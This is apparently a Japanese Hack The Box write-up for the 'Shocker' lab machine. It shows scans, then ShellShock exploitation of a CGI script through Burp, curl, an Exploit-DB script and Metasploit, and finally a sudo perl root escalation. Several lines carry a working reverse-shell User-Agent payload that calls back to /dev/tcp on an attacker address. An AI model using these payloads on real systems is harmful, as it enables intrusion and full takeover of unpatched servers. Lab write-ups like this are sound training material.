【Hack The Box】Shocker Writeup

# Executive summary

- Easy Boxの中でもまあまあ簡単
- GNU Bash 4.3 以前の脆弱性「ShellShock（CVE-2014-6271）」を悪用する　https://nvd.nist.gov/vuln/detail/cve-2014-6271
- 有名なShellShock脆弱性を悪用できる
- SSH（2222/tcp）は使用しなかった

# Tool / Command
- nmap
- ffuf
- Burp Suite
- User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1
- cURL
- Exploit-DB
- Metasploit
- sudo -l
- sudo perl -e 'exec "/bin/sh";'

## 1. PortScan
「80/tcp」と「2222/tcp」が開いている
`sudo nmap 10.10.10.56 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn`

```bash
└─$ sudo nmap 10.10.10.56 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-30 22:13 JST
Nmap scan report for 10.10.10.56
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.83 seconds
```

## 2. Local Shell

### HTTP：Apache httpd 2.4.18

HTTPに対して侵入を試みる

ブラウザでアクセスする
なんだこいつ

※ソースコードを見ても特に何もない
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/41d04452-3156-25a6-9633-34c0d1cb2cc1.png)
ディレクトリ探索をする
cgi-binが403 Forbiddenで確認できる

`ffuf -u http://10.10.10.56/FUZZ -w /usr/share/dirb/wordlists/common.txt`

```bash
└─$ ffuf -u http://10.10.10.56/FUZZ -w /usr/share/dirb/wordlists/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.56/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 290, Words: 22, Lines: 12, Duration: 303ms]
.htpasswd               [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 304ms]
                        [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 307ms]
.htaccess               [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 302ms]
cgi-bin/                [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 407ms]
index.html              [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 316ms]
server-status           [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 310ms]
:: Progress: [4614/4614] :: Job [1/1] :: 153 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
```

cgi-binを加えてディレクトリ探索をするが、特に何もない

次にcgi-binを加えた上で、色々な拡張子を指定してディレクトリ探索をする
shを追加してuser.shが200 OKで確認できる

`ffuf -u http://10.10.10.56/cgi-bin/FUZZ.sh -w /usr/share/dirb/wordlists/common.txt`

```bash
└─$ ffuf -u http://10.10.10.56/cgi-bin/FUZZ.sh -w /usr/share/dirb/wordlists/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.56/cgi-bin/FUZZ.sh
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 306ms]
.htaccess               [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 306ms]
.htpasswd               [Status: 403, Size: 306, Words: 22, Lines: 12, Duration: 307ms]
user                    [Status: 200, Size: 119, Words: 19, Lines: 8, Duration: 258ms]
:: Progress: [4614/4614] :: Job [1/1] :: 130 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
```

ブラウザで「http://10.10.10.56/cgi-bin/user.sh」にアクセスする
user.shがダウンロードされる
user.shではuptimeが確認できるが、特に何もない

```bash
└─$ cat user.sh   
Content-Type: text/plain

Just an uptime test script

 09:39:39 up 31 min,  0 users,  load average: 0.00, 0.00, 0.00
```

cgi-binを見つけると気になるのが「ShellShock（CVE-2014-6271）」の脆弱性

NiktoでShellShockが検知できる認識だったが、今回は確認できなかった

悪用方法は十人十色
私はBurp Suiteが好きなのと、悪用方法が理解しやすいので、パターン1が好み
スピード重視ではパターン2
OSCPではMetasploitは1Boxしか使用できないので、パターン4は推奨しない

以下を参照して悪用を試みる

※PoCの「() { :; };」について調べようと思ったが、こういうものだとして考えないことにした

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi

#### パターン1（Burp Suite）

Burp Suiteを起動する
「/cgi-bin/user.sh」のログをRepeaterへ投げる
User-Agentを以下に書き換える
`User-Agent: () { :; }; echo; /usr/bin/id`
sendを押下する
idコマンドが実行されているため、脆弱性があることが確認できる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/819c308e-7a8e-6bf6-4ca6-0b3d9b8fe5ea.png)
次にUser-Agentを以下に書き換える
`User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1`
sendを押下する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3333681/e87467c2-6bcc-5fe8-5854-9c62ebfb0ecb.png)
ポート「4444」で待ち受ける
`nc -lnvp 4444`

リバースシェルが取得できる

```bash
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.56] 59488
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ id
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
shelly@Shocker:/usr/lib/cgi-bin$ pwd
pwd
/usr/lib/cgi-bin
shelly@Shocker:/usr/lib/cgi-bin$ cd /home
cd /home
shelly@Shocker:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root   root   4096 Sep 21  2022 .
drwxr-xr-x 23 root   root   4096 Sep 21  2022 ..
drwxr-xr-x  4 shelly shelly 4096 Sep 21  2022 shelly
shelly@Shocker:/home$ cd shelly
cd shelly
shelly@Shocker:/home/shelly$ ls -la
ls -la
total 36
drwxr-xr-x 4 shelly shelly 4096 Sep 21  2022 .
drwxr-xr-x 3 root   root   4096 Sep 21  2022 ..
lrwxrwxrwx 1 root   root      9 Sep 21  2022 .bash_history -> /dev/null
-rw-r--r-- 1 shelly shelly  220 Sep 22  2017 .bash_logout
-rw-r--r-- 1 shelly shelly 3771 Sep 22  2017 .bashrc
drwx------ 2 shelly shelly 4096 Sep 21  2022 .cache
drwxrwxr-x 2 shelly shelly 4096 Sep 21  2022 .nano
-rw-r--r-- 1 shelly shelly  655 Sep 22  2017 .profile
-rw-r--r-- 1 root   root     66 Sep 22  2017 .selected_editor
-r--r--r-- 1 root   root     33 Apr 30 09:08 user.txt
shelly@Shocker:/home/shelly$ cat user.txt
cat user.txt
eac8d81184aa95485fcf10**********
```

#### パターン2（cURL）

`curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1' http://10.10.10.56/cgi-bin/user.sh`

```bash
└─$ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1' http://10.10.10.56/cgi-bin/user.sh
```

ポート「4444」で待ち受ける
nc -lnvp 4444

リバースシェルが取得できる

```bash
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.56] 59486
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ id
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
```

#### パターン3（Exploit-DB）

SearchSploitで「ShellShock」を検索する
34900.pyのPoCを試すとリバースシェルが取得できる

```bash
└─$ searchsploit ShellShock        
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Me | cgi/remote/38849.rb
Apache mod_cgi - 'Shellshock' Remote Command Injection                          | linux/remote/34900.py
Bash - 'Shellshock' Environment Variables Command Injection                     | linux/remote/34766.php
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)                   | cgi/webapps/34895.rb
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)               | hardware/remote/39568.py
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)         | linux/remote/36933.py
GNU Bash - 'Shellshock' Environment Variable Command Injection                  | linux/remote/34765.txt
IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)  | cgi/remote/39918.rb
NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock)                    | cgi/webapps/40213.txt
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection                          | linux/remote/34879.txt
PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injec | php/webapps/35146.txt
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection             | linux/remote/34896.py
RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection           | linux/local/40938.py
Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Injectio | cgi/webapps/39887.txt
TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Comma | hardware/remote/40619.py
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

`searchsploit -m 34900`
`python2 ./34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.2 lport=4444 pages=/cgi-bin/user.sh`

```bash
└─$ python2 ./34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.2 lport=4444 pages=/cgi-bin/user.sh
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
[!] Incoming connection from 10.10.10.56
10.10.10.56> id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
```

#### パターン4（Metasploit）

Metasploitで「ShellShock」を検索する
apache_mod_cgi_bash_env_execのPoCを試すとリバースシェルが取得できる

`msfconsole`
`search ShellShock`

```bash
msf6 > search ShellShock

Matching Modules
================

   #   Name                                               Disclosure Date  Rank       Check  Description
   -   ----                                               ---------------  ----       -----  -----------
   0   exploit/linux/http/advantech_switch_bash_env_exec  2015-12-01       excellent  Yes    Advantech Switch Bash Environment Variable Code Injection (Shellshock)
   1   exploit/multi/http/apache_mod_cgi_bash_env_exec    2014-09-24       excellent  Yes    Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
   2   auxiliary/scanner/http/apache_mod_cgi_bash_env     2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3   exploit/multi/http/cups_bash_env_exec              2014-09-24       excellent  Yes    CUPS Filter Bash Environment Variable Code Injection (Shellshock)
   4   auxiliary/server/dhclient_bash_env                 2014-09-24       normal     No     DHCP Client Bash Environment Variable Code Injection (Shellshock)
   5   exploit/unix/dhcp/bash_environment                 2014-09-24       excellent  No     Dhclient Bash Environment Variable Injection (Shellshock)
   6   exploit/linux/http/ipfire_bashbug_exec             2014-09-29       excellent  Yes    IPFire Bash Environment Variable Injection (Shellshock)
   7   exploit/multi/misc/legend_bot_exec                 2015-04-27       excellent  Yes    Legend Perl IRC Bot Remote Code Execution
   8   exploit/osx/local/vmware_bash_function_root        2014-09-24       normal     Yes    OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)
   9   exploit/multi/ftp/pureftpd_bash_env_exec           2014-09-24       excellent  Yes    Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)
   10  exploit/unix/smtp/qmail_bash_env_exec              2014-09-24       normal     No     Qmail SMTP Bash Environment Variable Injection (Shellshock)
   11  exploit/multi/misc/xdh_x_exec                      2015-12-04       excellent  Yes    Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution


Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/misc/xdh_x_exec
```

`use 1`
`set rhosts 10.10.10.56`
`set targeturi  /cgi-bin/user.sh`
`set lhost 10.10.14.2`
`options`

```bash
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options 

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting   Required  Description
   ----            ---------------   --------  -----------
   CMD_MAX_LENGTH  2048              yes       CMD max line length
   CVE             CVE-2014-6271     yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent        yes       HTTP header to use
   METHOD          GET               yes       HTTP method to use
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          10.10.10.56       yes       The target host(s), see https://github.com/rapid7/metasploit-fram
                                               ework/wiki/Using-Metasploit
   RPATH           /bin              yes       Target PATH for binaries used by the CmdStager
   RPORT           80                yes       The target port (TCP)
   SRVHOST         0.0.0.0           yes       The local host or network interface to listen on. This must be an
                                                address on the local machine or 0.0.0.0 to listen on all address
                                               es.
   SRVPORT         8080              yes       The local port to listen on.
   SSL             false             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /cgi-bin/user.sh  yes       Path to CGI script
   TIMEOUT         5                 yes       HTTP read response timeout (seconds)
   URIPATH                           no        The URI to use for this exploit (default is random)
   VHOST                             no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.2       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86
```

`exploit`

```bash
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit 

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (989032 bytes) to 10.10.10.56
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.56:59484) at 2023-05-01 18:09:31 +0900

meterpreter > shell
Process 1687 created.
Channel 1 created.
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
```

## 3. Privilege Escalation

管理者権限で実行可能なコマンドがあるか確認する
「/usr/bin/perl」が確認できる
`sudo -l`

```bash
shelly@Shocker:/home/shelly$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
```

以下を参照して悪用を試みる

https://gtfobins.github.io/gtfobins/perl/

`sudo perl -e 'exec "/bin/sh";'`

管理者権限が取得できる

```bash
shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/sh";'
sudo perl -e 'exec "/bin/sh";'
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
cdad46f6d1f1cca4b516cc**********
```

（参考）
SANSのSEC542では、ShellShockを大きく取り上げていた
もっと理解を深めていきたい

以上